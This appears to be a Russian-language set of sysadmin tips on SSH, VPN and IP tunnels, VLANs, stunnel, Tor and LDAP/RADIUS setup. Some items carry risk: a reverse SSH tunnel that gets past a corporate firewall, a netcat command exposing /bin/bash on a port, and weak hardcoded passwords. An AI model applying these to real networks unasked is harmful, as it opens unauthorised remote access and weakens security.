    Дано: компьютер на работе, находящийся за firewall'ом и nat'ом; компьютер дома
    с доступом в интернет;
    сервер ourproxy.provider.ru с работающим sshd, доступный обоим компьютерам. 
    Но в данном случае прямой доступ с ourproxy.provider.ru к рабочей машине отсутствует.
    
    Требуется: получить из дома доступ к сервису sshd на рабочем компьютере.
    
    Решение: на рабочей машине выполнить команду:
    
        ssh -f -N user@ourproxy.provider.ru -R 12345:localhost:22
    
    Опции -f и -N описаны несколькими строчками выше.
    Ключ -R означает, что подключения к порту 12345 на ourproxy.provider.ru будут
    перенаправляться на 22 порт рабочего компьютера.
    
    После выполнения этой команды с рабочей машины можно будет попасть на эту
    машину с ourproxy.provider.ru,
    выполнив команду:
    
        ssh -p 12345 user@locahost
    
    По этому же принципу можно получить доступ к прочим ресурсам локальной сети. Вот еще один пример.
    
    На рабочей машине:
    
        ssh -f -N user@ourproxy.provider.ru -R 8080:10.10.5.1:80
    
    На домашней машине:
    
        ssh -f -N user@ourproxy.provider.ru -L localhost:8080:localhost:8080
    
    Теперь, набрав в адресной строке браузера на домашнем компьютере http://localhost:8080, 
    получаем доступ к интранет-серверу за семью замками двумя firewall-ами.
    
    Конечно же, это приводит к серьёзной бреши в корпоративной безопасности, 
    поэтому крайне не рекомендуется злоупотреблять этим советом.
    
     
    ----* OpenVPN с TAP в OpenBSD   Автор: Вадим Жуков  [обсудить]
     
    OpenBSD не имеет устройства tap(4), которое по своей сути является простым
    туннелем 2-го уровня OSI.
    Вместо этого необходимо использовать tun(4), причём для последнего нужно перед
    запуском openvpn установить link0.
    Также, при использовании --pool следует учесть, что openvpn передаёт различные параметры настройки 
    для TAP- и tun-соединений, из-за чего необходимо отказываться от предлагаемого выполнения ifconfig 
    самим OpenVPN и вместо этого юзать свой скрипт, в который в простейшем случаю жёстко прописываются 
    адрес удалённого конца туннеля и broadcast-адрес. В итоге получается примерно такой набор команд:
    
    $ sudo cat /etc/hostname.tun1
    
       up link0
       !openvpn --config /etc/openvpn/mytunnel --verb 0 & sleep 5
       $ sudo cat /etc/openvpn/mytunnel.conf
       dev tun1
       dev-type tap
       pull
       ifconfig-noexec
       up "/etc/openvpn/mytunnel.up"
       auth-user-pass "/etc/openvpn/mytunnel.pwd"
    
    $ cat /etc/openvpn/mytunnel.up
    
       #!/bin/sh
       TUN_DEV="$1"; shift
       TUN_MTU="$1"; shift
       LINK_MTU="$1"; shift
       LOCAL_IP="$1"; shift
       NETMASK="$1"; shift
       MODE="$1"; shift
       ifconfig $TUN_DEV $LOCAL_IP 10.1.2.1 netmask $NETMASK broadcast 10.1.2.255 mtu $TUN_MTU
    
    Учтите, что для того, чтобы auth-user-pass позволял указывать файл для чтения паролей, 
    необходимо собирать OpenVPN с опцией "--enable-password-save", которая в текущей версии 
    порта (openvpn-2.1_rc7) не используется. Для исправления этой проблемы лучше всего подправить 
    /usr/ports/net/openvpn/Makefile, добавив "--enable-password-save" в CONFIGURE_ARGS.  
    Разумеется, в этом нет необходимости, если не требуется обеспечить полностью
    автоматический запуск OpenVPN.
    
     
    ----* Прозрачный переброс VPN соединения на другой сервер (доп. ссылка 1)   Автор: AxeleRaT  [комментарии]
     
    Была задача, сделать прозрачный переброс пользователей с одного VPN (PPTPD) сервера 
    на другой (PPTPD), с условием, что пользователям ничего менять в настройках
    VPN соединения не приедеться.
    
    В итоге на несколько разных VPN серверов (Fedora 3,4,6, APSlinux 11) был установлен 
    прозрачный редирект туннеля на центральные сервер, с единой базой данных о клиентах.
    
    Использованное ПО:
    
       pptpproxy-2.9.tar.bz2
    
    Пример запуска:
    
       #./pptpproxy -p 111.111.111.111:1723,222.222.222.222:1723 -a 10.0.0.0/255.0.0.0  -l /var/log/pptp_redirect
    
    Параметр -p
       111.111.111.111:1723  какой интерфейс:порт слушать
       222.222.222.222:1723  на какой адрес:порт перенаправлять
    
    Параметр -a
       10.0.0.0/255.0.0.0  acl на соединение с определенное сети
    
    Параметр -l
       /var/log/pptp_redirect  куда писать лог
    
    Таким образом избежали множества проблем с клиентами.
    В первую очередь данное ПО, как следует из названия, предназначено для
    проброса VPN туннелей через NAT.
    
    Использованные ОС:
       APSLinux 11
       CentOS 5
       Fedora
    
     
    ----* Как пробросить TCP порт средствами xinted (доп. ссылка 1)   Автор: Евгений  [комментарии]
     
    Пробросить TCP порт 1604 с 192.168.25.22 на машину  172.16.1.2 во внутренней сети.
    
    /etc/xinetd.conf
    
        service ica
        {
            disable = no
            port = 1604
            bind = 192.168.25.22
            socket_type = stream
            user = root
            redirect = 172.16.1.2 1604
            type = UNLISTED
            wait = no
        }
    
    redirect работает только для TCP.
    
     
    ----* Остановка netgraph нод после mpd (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    С помощью этого маленького скрипта, можно выполнить освобождение netgraph нод, 
    которые оставляет за собой упавший в "корку" MPD3.
    
    #!/bin/sh
    
    for j in "" 1 2 3 4 5 6 7 8 9 10 11 12; do
      for i in 0 1 2 3 4 5 6 7 8 9; do
        echo $j$i
        ngctl shutdown ng$j$i:
        ngctl shutdown mpd$1-pptp$j$i:
      done
    done
    
     
    ----* Как "протянуть" 802.1q tagged порт через ip-сеть.   Автор: Roman Timofeev aka ^rage^  [комментарии]
     
    Дано: 
    
    Есть hostA, который воткнут в каталист, в trunk (т.е. тегированный) порт, инкапсуляция 802.1q. 
    
    Есть hostB, который маршрут до hostA. маршрут живой, ip-пакеты между хостами безпроблемно бегают. 
    
    Задача: надо с hostA "притащить" виланы на hostB. 
    
    Решение: vtund + bridge.
    
    описание клиента в vtund.conf
    
       homepeer { 
          passwd qwerty; 
          type ether; 
          device home; 
          proto tcp; 
          compress yes; 
          stat yes;
          persist yes; 
    
          up { 
             ifconfig "%% up"; 
             program "brctl addbr br0"; 
             program "brctl addif br0 %%"; 
             program "brctl addif br0 eth0"; 
             ifconfig "br0 up"; 
          }; 
    
          down { 
             ifconfig "%% down"; 
             ifconfig "br0 down"; 
             program "brctl delbr br0"; 
          }; 
       }
    
    описание пира из конфига сервера
    
       homepeer { 
          passwd qwerty; # Password 
          type ether; # Ethernet tunnel 
          device work; # Device tap1 
          proto tcp; 
          compress yes; 
    
          up { 
             ifconfig "%% up"; 
          }; 
          down { 
             ifconfig "%% down"; 
          }; 
       } 
    
    Теперь на той Linux машине, куда кидаем порт:
    
       vconfig set_name_type VLAN_PLUS_VID_NO_PAD
       vconfig add work 4
       ifconfig vlan4 10.1.1.1 netmask 255.255.255.0 up
       vconfig add vlan4 8
       ifconfig vlan8 192.168.1.1 netmask 255.255.255.0 up
    
    Замечание:
    Клиент - хост, с которого мы тащим порт. Он живёт в серой сети и имеет выход в internet через NAT.
    Сервер - машина с публичным ip.
    
     
    ----* Q-in-Q (VLAN stacking) в Linux   Автор: ^rage^  [комментарии]
     
    Q-in-Q  - проброс VLAN внутри  другого VLAN.
    
    host1:
    
       vconfig set_name_type VLAN_PLUS_VID_NO_PAD
       vconfig add eth0 4
       ifconfig vlan4 10.1.1.1 netmask 255.255.255.0 up
       vconfig add vlan4 8
       ifconfig vlan8 192.168.1.1 netmask 255.255.255.0 up
    
    host2:
    
       vconfig set_name_type VLAN_PLUS_VID_NO_PAD
       vconfig add eth0 4
       ifconfig vlan4 10.1.1.2 netmask 255.255.255.0 up
       vconfig add vlan4 8
       ifconfig vlan8 192.168.1.2 netmask 255.255.255.0 up
    
    ragahost ~ # ping 192.168.1.2
    PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data.
    64 bytes from 192.168.1.2: icmp_seq=1 ttl=64 time=0.820 ms
    
    ragahost ~ # tcpdump -e -i eth0
    22:40:47.297489 00:0e:0c:9b:fa:ce (oui Unknown) > 00:13:d4:8b:c8:b6 (oui Unknown), 
    ethertype 802.1Q (0x8100), length 106: vlan 4, p 0, ethertype 802.1Q, vlan 8, p 0, 
    ethertype IPv4, 192.168.1.2 > 192.168.1.1: ICMP echo request, id 64531, seq 146, length 64
    
     
    ----* Интеграция VPN на базе mpd в Active Directory.   Автор: spherix  [комментарии]
     
    Было дано:
     - Домен на Windows2003 с поднятым Kerberos.
     - FreeBSD на шлюзе, куда должны были подключаться пользователи.
     - VPN-демон mpd.
    
    Задача: заставить mpd брать пароли из домена.
    
    Решение:
    
     - Ставим третью самбу с поддержкой кербероса.
     - Настраиваем керберос
     - Подсоединяем самбу в домен.
     - Оставляем от нее только winbindd 
     - Ставим freeradius.
     - Сцепляем радиус с самбой.
     - Скручиваем mpd с радиусом и настраиваем сам mpd.
    
    Итог: управляем учетными записями VPN-пользователей через обычные средства AD, 
    а не пишем руками данные в файл. 
    
    Примечание1. Документация гласит, что можно связать радиус с керберосом. 
    То есть теоретически можно отказаться от самбы. Я так не делал, 
    поскольку подцепить через самбу мне лично было проще.
    
    Примечание2. Если использовать poptop, то можно не использовать 
    радиус, а использовать ntlm_auth из самбы. Тоже вариант.
    
    
    Файлы конфигурации: http://www.opennet.ru/base/net/mpd_win2003.txt.html
    
     
    ----* Настройка PPTP Client под управлением OpenBSD (доп. ссылка 1)   Автор: dreamcatcher.ru  [комментарии]
     
    Автор: Алексей Гнедин
    Редактор: Олег Сафулин
    
    Используемое ПО: pptp-1.6.0.tgz , OpenBSD 3.8 (GENERIC)
    
    Особенности данного подключения состоят в том ,что VPN сервер разрешает подключатся 
    только с авторизацией MSChapV2, и явно включённым шифрованием MPPE 128 STATELESS.
    
    
          cd /etc/ppp
          vi /etc/ppp/ppp.conf 
    
    Добавляем следующие строки:
    
          default:
           set log Phase Chat LCP IPCP CCP tun command
          pptp1:
           set device "!/usr/local/sbin/pptp  IPADDR_VPN_SERVER --nolaunchpppd"
           set log Phase LCP IPCP CCP tun command
           disable acfcomp protocomp
           deny acfcomp
           enable lqr
           set lqrperiod 5
           set cd 5
           set redial 30
           set timeout 0
           set authname <username>
           set authkey <userpass>
           set dial
           set login
           add! default HISADDR
           enable mssfixup
           disable ipv6cp
           accept MSChapV2
           set mppe 128 stateless
    
    Далее:
    
         touch /etc/hosname.tun0 ; vi  /etc/hostname.tun0 
    
    Добавляем следующие строки:
    
          !/usr/sbin/ppp -ddial pptp1 >/dev/null 2>&1
          sysctl -w net.inet.gre.allow=1
          reboot
    
    После загрузки машина автоматически соединится с VPN сервером. 
    
     
    ----* popa3d + TLS/SSL (stunnel) на FreeBSD 5.4   Автор: Вотинцев Сергей А.  [комментарии]
     
    Установка stunnel:
    
       cd /usr/ports/security/stunnel
       make && make install (!) не торопимся делать clean
       Копируем из папки work в /usr/local/etc/stunnel - stunnel.cnf, затем делаем make clean.
    
    Создаем сертификат:
       cd /usr/local/etc/stunnel && openssl req -new -x509 -days 365 \
          -nodes -config stunnel.cnf -out stunnel.pem -keyout stunnel.pem
       chmod 600 stunnel.pem && chown root:wheel stunnel.pem
    
    Конфиг для stunnel:
    
       cert = /usr/local/etc/stunnel/stunnel.pem
       RNDfile = /usr/local/etc/stunnel/stunnel.rnd
       chroot = /usr/local/var/stunnel/
       setuid = stunnel
       setgid = stunnel
       pid = /run/stunnel.pid
       output = /var/log/stunnel.log
       ciphers = HIGH
       debug = 6
       compression = rle
       [pop3s]
       accept  = 995
       connect = 127.0.0.1:110
    
    Делаем chroot:
    
       cd /usr/local/var && mkdir stunnel && cd stunnel
       mkdir etc && touch hosts.allow
       cd .. && mkdir run
    
    Содержание hosts.allow:
    
       pop3s : ALL : allow
       ALL : ALL : deny
    
    Права на директории /usr/local/var/stunnel
    
       drwxr-xr-x  2 root     wheel    512 Jul 30 20:31 etc
       drwxr-xr-x  2 stunnel  stunnel  512 Aug  3 15:55 run
    
    Правим rc.conf, если у Вас запускается только popa3d из inetd:
    
       inetd_flags="-wWa 127.0.0.1"
       /usr/local/etc/rc.d/stunnel.sh start
    
    Просмотр ciphers:
    
       openssl ciphers -v 'HIGH'
    
     
    ----* Защищенный канал связи используя stunnel   Автор: Wely  [комментарии]
     
    Мне потребовалось сделать защищённый канал для связи, под FreeBSD 5.4. 
    Выбрал самый легкий путь для моих условий: поставить stunnel. 
    Эта программа занимается перенаправлением портов через ssl-канал к обычным портам. итак:
    
    1) portupgrade -fN stunnel
    
    2) такой скрипт для создания самоподписанного ssl сертификата:
    
       !/bin/sh
       openssl genrsa -des3 -out ca.key 1024
       openssl req -new -x509 -days 365 -key ca.key -out ca.crt
       openssl req -new -nodes -out req.pem -keyout cert.pem
       chmod 600 cert.pem
       chown root:0 cert.pem
       openssl x509 -req -CA ca.crt -CAkey ca.key -days 365 -in req.pem -out signed-req.pem -CAcreateserial
       cat signed-req.pem >> cert.pem
       echo Сертификат готов в файле : cert.pem
    
    3) копируем cert.pem в /usr/local/etc/stunnel
    
    4) правим /usr/local/etc/stunnel/stunnel.conf
    
    5) запускаем stunnel и коннектимся к адресу:порту
    
     
    ----* Шифрованная передача текста (openssl+nc)   Автор: ZEDER  [обсудить]
     
    Передаём на хост .1 в порт 666 текст предварительно его зашифровав паролем "paSSw0rd":
       echo ТЕКСТ | openssl des3 -salt -k paSSw0rd | nc 192.168.48.1 666
    
    принимаем на порту 666 текст:
       nc -l -p 666 | openssl des3 -d -k paSSw0rd
    
     
    ----* Как создать шифрованный туннель используя SSH (доп. ссылка 1)   [комментарии]
     
    ssh dmzserver -R 9999:mirrorserver:80
    ssh -R 9999:localhost:80 dmzserver
    ssh -2 -N -f -L 2110:mail.example.com:110 user@ssh-server.example.com
    
     
    ----* Поднятие IP-IP туннеля между FreeBSD и Linux   Автор: Alexey N. Kovyrin  [комментарии]
     
    Пусть имеется 2 машины PC1 (FreeBSD, ip-адрес IP1, интерфейс INT1) и PC2 (Linux, IP2, INT2).
    Для построения IP-IP туннеля (на стороне FreeBSD будет адрес TUN1, Linux - TUN2):
    
      bsd# nos-tun -t /dev/tun0 -s TUN1 -d TUN2 -p 4 IP2
      bsd# ifconfig tun0 mtu 1500
      bsd# ifconfig tun0 up
    
      linux# ip tunnel add tun0 mode ipip remote IP1 local IP2 dev INT2
      linux# ifconfig tun0 TUN2 pointopoint TUN1
      linux# ifconfig tun0 mtu 1500
      linux# ifconfig tun0 up
    
     
    ----* Включение поддержки IPv6 в FreeBSD (доп. ссылка 1)   [комментарии]
     
    Ядро:
      options         INET6           # IPv6 communications protocols
      pseudo-device   gif             # IPv6 and IPv4 tunneling
      pseudo-device   faith   1       # IPv6-to-IPv4 relaying (translation)
    
    Регистрация и получение IP (http://www.freenet6.net или http://www.tunnelbroker.net)
      cd /usr/ports/net/freenet6/
      # make install clean
      # /usr/local/etc/rc.d/freenet6.sh start
    
    Подъем IPv6 вручную
      ifconfig gif0 create 
      ifconfig gif0 tunnel your-local-ipv4  remote-ipv4-of-your-broker
      ifconfig gif0 inet6  ipv6-given-by-the-broker ipv6-of-your-broker   prefixlen 128
      route -n add -inet6 default ipv6-of-your-broker
    
    /etc/rc.conf:
      ipv6_enable="YES"
      ipv6_defaultrouter="brokeripv6"
      ipv6_gateway_enable="YES"
      ipv6_network_interfaces="de0 gif0"
      ipv6_ifconfig_gif0="brokeripv6 prefixlen 128"
      ipv6_ifconfig_de0="youripv6::1 prefixlen 64"
      ipv6_static_routes="global"
      ipv6_route_global="2000:: -prefixlen 3 youripv6"
      gif_interfaces="gif0"
      gifconfig_gif0="youripv4 brokeripv4"
    
    Фаервол (Ipfilter):
      /etc/ipf6.rules
         pass in all
         pass out all
      ipf -6 -f /etc/ipf6.rules
    
     
    ----* Использование в Linux IEEE 802.1Q VLAN'ов совместно с Cisco Catalyst Switch   Автор: J  [обсудить]
     
    Linux:
      /sbin/vconfig add eth1 5
      /sbin/vconfig add eth1 4
      /sbin/ifconfig eth1.4 192.0.0.8 netmask 255.255.255.240 up
      /sbin/ifconfig eth1.5 192.0.1.8 netmask 255.255.255.240 up
    Catalyst:
      conf t
      int fa0/0
       switchport mode trunk
       switchport trunk allowed vlan 4,5,1002-1005
    
     
    ----* Создание gif туннеля в FreeBSD   Автор: kont  [комментарии]
     
    1) Собрать ядро с "pseudo-device   gif"
    2) В /etc/rc.conf добавить в список сетевых интерфейсов gif0
    3) В /etc создать файл под именем start_if.gif0 и сделать ему chmod +x
    4) Вставить в файл примерно следующее содержание:
    #!/bin/sh
    /sbin/ifconfig gif0 create inet virtual-local-ip virtual-remote-ip\
           netmask 255.255.255.252 tunnel source-addr remote-addr mtu 1500 up
    /sbin/route add default your-default-router
    /sbin/route add -net localnetwork-at-remote virtual-remote-ip
    
     
    ----* Как поднять туннель между Cisco и Linux   [комментарии]
     
    Linux (192.168.2.1):
       /sbin/ip tunnel add tunl1 mode ipip remote 192.168.1.1
       /sbin/ifconfig tunl1 192.168.3.2 pointopoint 192.168.3.1 netmask 255.255.255.252 mtu 1500
    
    Cisco (192.168.1.1):
      interface Tunnel0
        ip address 192.168.3.1 255.255.255.252
        ip mtu 1500
        tunnel source 192.168.1.1
        tunnel destination 192.168.2.1
        tunnel mode ipip
    
     
    ----* Создание шифрованного туннеля используя zebedee (доп. ссылка 1)   [обсудить]
     
    Запуск на сервере, куда будем соединятся с клиента:
      washin% zebedee ╜s 
    
    Телнет сессия с клиента:
      isshin% zebedee 9000:washin:telnet
      telnet localhost 9000 
    или одной командой:
      zebedee  ╜e "telnet localhost %d" washin
    
     
    ----* Как создать простейший туннель используя утилиту netcat (доп. ссылка 1)   [обсудить]
     
    Простейший echo-туннель:
      Серверный процесс: nc -l -p 5600
      Клиент: nc 10.0.1.1 5600
    
    netcat для пересылки файла:
     Сервер (куда писать файл): nc -v -w 30 -p 5600 l- > filename.back
     Клиент: nc -v -w 2 10.0.1.1 5600 < filename
    
    Перенаправление ввода/вывода на программу:
      Сервер: nc -l -p 5600 -e /bin/bash
      Клиент: nc 10.0.1.1. 5600
    
     
    ----* Настройка PPTP-клиента под FreeBSD (доп. ссылка 1)   Автор: l0ner  [комментарии]
     
    Необходимо установить из портов пакет pptpclient
    /etc/ppp/ppp.conf
      vpn:
      set authname <LOGIN>
      set authkey <PASSWORD>
      set timeout 0
      set ifaddr 0 0
      add default HISADDR
    
    Подключение к VBN серверу:
      /sbin/route add -host <IP_address_of_VPN_server> <gateway>
      /usr/local/sbin/pptp <IP_address_of_VPN_server> vpn &
    
     
    ----* Использование в FreeBSD IEEE 802.1Q VLAN'ов совместно с Cisco Catalyst Switch   [комментарии]
     
    В конфигурации FreeBSD ядра:
        pseudo-device vlan 20 # VLAN support (для динамической генерации в новых версиях - 20 можно не писать)
    Поднимаем VLAN вручную (где 28 - vlan id на свиче, fxp0 - интерфейс воткнутый в свитч):
        ifconfig vlan0 inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0
    Прописываем в /etc/rc.conf:
      cloned_interfaces="vlan0"
      ifconfig_vlan0="inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0"
    На коммутаторе Cisco Catalyst:
        interface FastEthernet0/1  # линк к FreeBSD
            switchport mode trunk
        interface FastEthernet0/2
            switchport access vlan 28
    
     
    ----* Как с помощью утилиты netcat организовать инкапсуляцию UDP в TCP поток.   [обсудить]
     
    Например, для доступа к syslog UDP порту через TCP соединение (клиент):
            nc -l -u -p syslog | nc localhost 2000
    Обратное преобразование (сервер):
           nc -l -p 2000 | nc localhost -u syslog
    В итоге можно организовать TCP туннель (например через SSH) для проброса информации для syslog.
    
     
    ----* Использование tor из состава Tor Browser без запуска самого браузера (доп. ссылка 1)   Автор: artenox  [комментарии]
     
    Так можно запустить встроенный tor без самого браузера:
    
    LD_LIBRARY_PATH=~/tor-browser/Browser/TorBrowser/Tor
    ~/tor-browser/Browser/TorBrowser/Tor/tor --defaults-torrc
    ~/tor-browser/Browser/TorBrowser/Data/Tor/torrc-defaults -f
    ~/tor-browser/Browser/TorBrowser/Data/Tor/torrc --DataDirectory
    ~/tor-browser/Browser/TorBrowser/Data/Tor --GeoIPFile
    ~/tor-browser/Browser/TorBrowser/Data/Tor/geoip --GeoIPv6File
    ~/tor-browser/Browser/TorBrowser/Data/Tor/geoip6 --SocksPort 9170
    
    После чего можно работать в Tor через SOCKS, обращаясь по порту 9170.
    
     
    ----* Возможные проблемы с настройками пакета tor в Debian по умолчанию (доп. ссылка 1)   Автор: Аноним  [комментарии]
     
    Пользователям пакетов, зависимых  от пакета tor в Debian, следует проявить
    осторожность. Файл конфигурации, идущий с пакетом tor, закомментирован почти
    полностью, включая места, запрещающие узлу работать в режиме выходного узла
    Tor. Настройки по умолчанию ( ExitRelay = "auto") подразумевают работу как
    выходного узла при определённых условиях (если активна одна из опций -
    ExitPolicy, ReducedExitPolicy или IPv6Exit).
    
    Проблему усугубляет то, что от пакета tor зависит apt-transport-tor, что может
    привести к ситуации, когда пользователь не разбираясь установил пакет для
    большей безопасности, а получил доступ всех подряд в свою внутреннюю сеть и
    перспективу претензий со стороны правоохранительных органов, как в деле
    Дмитрия Богатова.
    
    Дополнение: По умолчанию активация tor не подтверждена, по крайней мере в
    Debian Stable, если действия пользователя не привели к изменению настроек
    ExitPolicy, ReducedExitPolicy и IPv6Exit.
    
     

       Сетевые сервисы

    ----* Отключение ipv6 для JavaVM (доп. ссылка 1) (доп. ссылка 2)   Автор: Stepanoff  [комментарии]
     
    На системах, в которых одновременно используется IPv4 и IPv6, при работе Oracle
    JavaVM по умолчанию предпочтение отдается IPv6-стеку (серверные процессы
    привязываются к IPv6). При этом для формирования запросов по умолчанию
    используются IPv4-адреса (запросы отправляются по IPv4).
    
    Для изменения поведения JavaVM следует использовать опции
    java.net.preferIPv4Stack и java.net.preferIPv6Addresses, по умолчанию
    установленные в значение "false". Дополнительно в директиве
    sun.net.spi.nameservice.nameservers можно перечислить через запятую список
    DNS-серверов, которые будут использовать для резолвинга доменных имен.
    
    В качестве практического примера, можно привести ситуацию, при которой
    Jabber-сервер Openfire стал слушать только ipv6.  Решить проблему помог запуск
    приложения с опцией "-Djava.net.preferIPv4Stack=true"
    
     
    ----* Устанавливаем OpenLDAP 2.4.X и PhpLdapAdmin в Ubuntu 9.10   Автор: Денис А. Ксенофонтов  [комментарии]
     
    1. Установим сервер и дадим ему имя DS
    
    2. Домен который будет обслуживать сервер назовем LOCAL.NET
    
    3. Правим hostname
    Пример  /etc/hostname
    
       ds
    
    4. Правим /etc/hosts
    Пример  /etc/hosts
    
       127.0.0.1       localhost
       127.0.1.1       ds.local.net    ds
    
    5.Убедимся  в том, что прописан домен поиска resolve.conf
    Пример /etc/resolve.conf
    
       domain local.net
       search local.net
       nameserver  dns.local.net
    
    6.Проверяем  запись о домене поиска в interfaces
    Пример /etc/network/interfaces
    
       dns-search      local.net
    
    7. Обновляем репозитории apt
    
       aptitude update
    
    8. Устанавливаем LDAP Server, на текущий момент версия 2.4.18 и утилиты к нему
    
       aptitude install ldap-server ldap-utils
    
    9. Перейдем в каталог схем LDAP сервера
    
       cd /etc/ldap/schema
    
    10. Подключаем основные схемы
    
       ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/cosine.ldif
       ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/inetorgperson.ldif
       ldapadd -Y EXTERNAL -H ldapi:/// -f /etc/ldap/schema/nis.ldif
    
    Если все удачно увидим ответ следующего вида
    
       SASL/EXTERNAL authentication started
       SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
       SASL SSF: 0
       adding new entry "cn=cosine,cn=schema,cn=config"
    
    11. Подключаем внутренние модули и создаем базу данных для LDAP
    Создаем файл db.ldif:
    
       # Подключаем модуль для  динамической загрузки
       dn: cn=module{0},cn=config
       objectClass: olcModuleList
       cn: module
       olcModulepath: /usr/lib/ldap
       olcModuleload: {0}back_hdb
    
       # Создаем базу данных для нашего домена
       dn: olcDatabase={1}hdb,cn=config
       objectClass: olcDatabaseConfig
       objectClass: olcHdbConfig
       olcDatabase: {1}hdb
       olcDbDirectory: /var/lib/ldap
       olcSuffix: dc=local,dc=net
       olcRootDN: cn=admin,dc=local,dc=net
       olcRootPW: ваш password у меня example
       olcDbConfig: {0}set_cachesize 0 2097152 0
       olcDbConfig: {1}set_lk_max_objects 1500
       olcDbConfig: {2}set_lk_max_locks 1500
       olcDbConfig: {3}set_lk_max_lockers 1500
       olcLastMod: TRUE
       olcDbCheckpoint: 512 30
       olcDbIndex: uid pres,eq
       olcDbIndex: cn,sn,mail pres,eq,approx,sub
       olcDbIndex: objectClass eq
       
    12. Сохраняем файл
    
    13. Подгружаем модуль и инициализируем базу данных
    
       ldapadd -Y EXTERNAL -H ldapi:/// -f db.ldif
    
       SASL/EXTERNAL authentication started
       SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
       SASL SSF: 0
       adding new entry "olcDatabase={1}hdb,cn=config"
    
    14. Генерируем пароль в MD5:
    
       slappasswd -h {MD5}
    
    скопируем результат вывода
    
       {MD5}Gnmk1g3mcY6OWzJuM4rlMw==
    
    15. Создаем базовый DN и пользователя admin
    Внесем в файл base.ldifследующие параметры:
    
       dn: dc=local,dc=net
       objectClass: dcObject
       objectclass: organization
       o: local.net
       dc: local
       description: My LDAP Root
    
       dn: cn=admin,dc=local,dc=net
       objectClass: simpleSecurityObject
       objectClass: organizationalRole
       cn: admin
       userPassword: {MD5}Gnmk1g3mcY6OWzJuM4rlMw== #Наш пароль в MD5
       description: LDAP administrator
    
    Создаем базовый DN
    
       ldapadd -Y EXTERNAL -H ldapi:/// -f base.ldif
    
       SASL/EXTERNAL authentication started
       SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
       SASL SSF: 0
       adding new entry "dc=local,dc=net"
       adding new entry "cn=admin,dc=local,dc=net"
    
    16. Устанавливаем права доступа на CN=config
    Пропишем в файл acl-config.ldif следующие права:
    
       dn: cn=config
       changetype: modify
       delete: olcAuthzRegexp
    
       dn: olcDatabase={-1}frontend,cn=config
       changetype: modify
       delete: olcAccess
    
       dn: olcDatabase={0}config,cn=config
       changetype: modify
       delete: olcRootDN
    
       dn: olcDatabase={0}config,cn=config
       changetype: modify
       add: olcRootDN
       olcRootDN: cn=admin,cn=config
    
       dn: olcDatabase={0}config,cn=config
       changetype: modify
       add: olcRootPW
       olcRootPW: {MD5}Gnmk1g3mcY6OWzJuM4rlMw==
    
       dn: olcDatabase={0}config,cn=config
       changetype: modify
       delete: olcAccess
    
    Устанавливаем права на cn=config
    
       ldapadd -Y EXTERNAL -H ldapi:/// -f acl-config.ldif
    
       SASL/EXTERNAL authentication started
       SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
       SASL SSF: 0
       modifying entry "cn=config"
       modifying entry "olcDatabase={-1}frontend,cn=config"
       modifying entry "olcDatabase={0}config,cn=config"
       modifying entry "olcDatabase={0}config,cn=config"
       modifying entry "olcDatabase={0}config,cn=config"
       modifying entry "olcDatabase={0}config,cn=config"
    
    
    17. Устанавливаем права доступа к корню cn=config
    Установим права на корень в файле root-acl.ldif
    
       dn: olcDatabase={1}hdb,cn=config
       add: olcAccess
       olcAccess: to attrs=userPassword,shadowLastChange by  \
          dn="cn=admin,dc=local,dc=net" write by anonymous auth by self write  by * none
       olcAccess: to dn.base="" by * read
       olcAccess: to * by dn="cn=admin,dc=local,dc=net" write by * read
    
    Модифицируем права
    
       ldapmodify -x -D cn=admin,cn=config -W -f root-acl.ldif
    
       Enter LDAP Password: example
       modifying entry "olcDatabase={1}hdb,cn=config"
    
    Все OpenLDAP готов к работе
    
    18. Ставим phpldapadmin
    
       aptitude install phpldapadmin
    
    19. После установки заходим по адресу http://имя сервера/phpldapadmin
    
    20. Если все правильно установилось то увидим приглашение login
    
    21. Если видим ошибку вида
    
       ERROR! E_STRICT: Declaration of AJAXTree::draw_dn() should be compatible with that of PLMTree::draw_dn()
    
    То в файле /usr/share/phpldapadmin/lib/AJAXTree.php
    
    Находим
    
       protected function  draw_dn($dn,$level=0,$first_child=true,$last_child=true)
    
    Меняем
    
       protected function draw_dn($dn,$level,$first_child=true,$last_child=true)
    
    
    22. Правим файл настроек phpldapadmin
    Редактируем /usr/share/phpldapadmin/config/config.php
    
    Меняем
    
       'dc=example,dc=com'
    на
       'dc=local,dc=net&#8217;
    
    23. Проверяем http://имя сервера/phpldapadmin
    
     
    ----* Настройка FreeRadius с привязкой к MySQL (доп. ссылка 1)   Автор: shadow_alone  [комментарии]
     
    Рассмотрим как настроить радиус-сервер с привязкой к базе данных в MySQL на
    примере CentOS, FreeRadius и MySQL.
    
    Сейчас очень многие устрйства поддерживают работу через Radius, например точки доступа Wi-Fi.
    
    Устанавливаем MySQL, если он конечно у Вас уже не стоит
    
       yum install mysql mysql-devel mysql-server
    
       chkconfig --levels 235 mysqld on
       /etc/init.d/mysqld start
    
       netstat -tap | grep mysql
    
    получаем:
    
       netstat -tap | grep mysql
    
       tcp        0      0 *:mysql *:*  LISTEN      2793/mysqld
    
    установим пароль для пользователя root для MySQL:
    
       mysqladmin -u root password 123456
    
    Устанавливаем FreeRadius
    
       yum install freeradius freeradius-mysql
    
    Правим файл /etc/raddb/users, добавляем:
    
       shad  Auth-Type := Local, User-Password == "test"
       Service-Type = Framed-User,
       Framed-Protocol = PPP,
       Framed-IP-Address = 192.168.0.7,
       Framed-IP-Netmask = 255.255.255.0,
    
    правим /etc/raddb/clients.conf
    раздел client 127.0.0.1 должен выглядеть вот так:
    
       client 127.0.0.1 {
         secret      = 123
         shortname   = localhost
         nastype     = other
       }
    
    проверяем:
    
       radiusd -X
    
    на другой консоли
    
       radtest shad test localhost 1812 123
    
    получаем:
    
       Sending Access-Request of id 35 to 127.0.0.1 port 1812
       User-Name = "shad"
       User-Password = "test"
       NAS-IP-Address = 255.255.255.255
       NAS-Port = 1812
       rad_recv: Access-Accept packet from host 127.0.0.1:1812, id=35, length=44
       Service-Type = Framed-User
       Framed-Protocol = PPP 
